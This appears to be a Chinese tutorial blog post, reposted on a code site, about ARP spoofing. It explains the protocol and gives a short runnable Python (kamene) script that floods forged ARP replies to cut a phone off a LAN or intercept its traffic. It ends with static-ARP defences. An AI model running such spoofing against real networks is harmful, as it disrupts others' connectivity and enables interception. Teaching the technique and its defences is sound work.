Python實現ARP攻擊


概述

高中的時候,學校有一個商店,會放開WIFI給偷偷帶手機去學校的我們使用,但是因為人很多的關系,導致每次去下載東西都很慢

那時候,通過百度,知道了WIFI KILLER 這樣一款軟件,可以讓別人上不了網,不過隨着各大廠商對系統的升級之后,這個軟件就失效了,尤其是這個軟件需要root權限,這個在現在多數手機來說已經不可能了。

需要權限的原因就是需要發送原始套接字,但是這個套接字如果交給用戶來發的話,太危險了,很容易擾亂底層的協議規則,這就導致必須要一定權限才能發送原始套接字(Windows好像不用)

ARP協議

IP轉MAC

參考: https://www.freebuf.com/articles/network/210852.html

ARP 協議是用來從從IP地址查詢MAC地址的,所以,一次數據傳輸可能有這樣一個ARP溝通過程

image-20200405104228129

比如,這里我用我筆記本(192.168.2.2) Ping了一下我的手機(192.168.2.5) ,那么數據包就需要知道被發送到那個MAC地址,

  • 我的電腦大聲問(廣播): 誰是 192.168.2.5?請告訴 192.168.2.2
  • 然后我的手機看到了,就回復我的電腦: 192.168.2.5就是20:f4:78:e6:36:41

然后接下來,數據包就可以發送大MAC地址是20:f4:78:e6:36:41的網卡上了

今天我才發現,我平時高冷的不得了的磊科NW737其實和他的小伙伴們溝通的熱火朝天~~
													____底層協議居然如此熱鬧

結構

image-20200406152858791

來自 wiki 百科

ARP掃描

通過wireShark可以發現,如果我想知道這個局域網中有多少主機,或者想要局域網中所有主機的列表,那么我完全可以發送ARP請求包,對每個IP都詢問一下MAC地址,有回應的,就是存活的主機。

這個方法比Ping掃描要穩一點,因為開了防火牆之后,很多電腦是不響應Ping包的

開始欺騙

只要了解了ARP之后,就會發現有空子可以鑽,也就是說,當有主機在局域網廣播詢問MAC地址的時候,直接發送一個錯誤的響應就好了

甚至,不需要他詢問,直接發送響應包即可

  • 代碼
from kamene.all import *

eth = Ether()
arp = ARP(
    op="is-at",
    hwsrc = "22:22:22:22:22:22",
    psrc = "192.168.2.1",
    hwdst="20:F4:78:E6:36:41",
    pdst="192.168.2.7"
)
print((eth/arp).show())
sendp(eth/arp,inter=2,loop=1)

這里構造了一個ARP數據包

image-20200406154228836

運行之后可以看到,

  • 首先我的電腦會發送一個廣播,詢問,誰是192.168.2.7?請告訴192.168.2.2
  • 這時候,我的時候回192.168.2.7就是 20:F4:78:E6:36:41
  • 其實以上步驟不存在都行的,主要是下面部分
  • 在確定了2.7的MAC地址之后,大聲的吼: 192.168.2.1的MAC地址是22:22:22:22:22:22
  • 2.7不管,直接接受了這個說法,之后所有的請求都發到了 22:22:22:22:22:22,那當然不會有響應的

中間人

如果把上面的 22:22:22:22:22:22修改成我筆記本的MAC地址,那么我的電腦就會收到如下大量的包

image-20200406155309885

如果我用手機此時打開一個網頁 例如 39.106.164.33

image-20200406155645752

那么就能看到,數據包發給了我的電腦,目的MAC是我的電腦,但是因為我的電腦沒有對數據包進行相關處理,結果就導致連接失敗等等問題

如果,我們能對這些包做出響應,那么就成了名副其實的中間人啦~

其他

ARP老化

ARP表的老化時間

​ 不同的系統對ARP表的老化時間設定不太一樣,在Windows2000/XP環境中,ARP表項的老化時間是2分鍾,95/98以及NT環境下為10分鍾,在大部分Cisco交換機中,該值是5分鍾,華為的設備一般為20分鍾……這些值可以通過系統注冊表或設備的某些命令進行設置,具體設置的命令和參數請自行參考相關文檔。

ARP表老化時間定時器的重置

​ 滿足以下任一條件時,設備的ARP表項的老化時間定時器會重置:
1,設備相應的ARP表項更新時;
2.,設備調用(引用)ARP表項轉發數據后。

來源: http://www.vants.org/?post=120

防御

windows

管理員身份運行

netsh -c "i i" add neighbors 16 "192.168.2.1" "08-10-79-5f-98-e9"

16 是通過 arp -a命令得到的接口號(下圖 0x10 十進制是16),192.168.2.1是IP地址,后面是mac

image-20200406161803788

具體參考: https://blog.csdn.net/weixin_42551781/article/details/88368031

linux

root權限運行

arp -s 192.168.2.1 08-10-79-5f-98-e9

具體參考: https://blog.csdn.net/qq_29663071/article/details/53508319

准備開個新坑,用C++把當年手機上的wifi killer 實現出來,雖然已經有P2P終結者一類的軟件了,但是拿來練習STL還是可以的


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM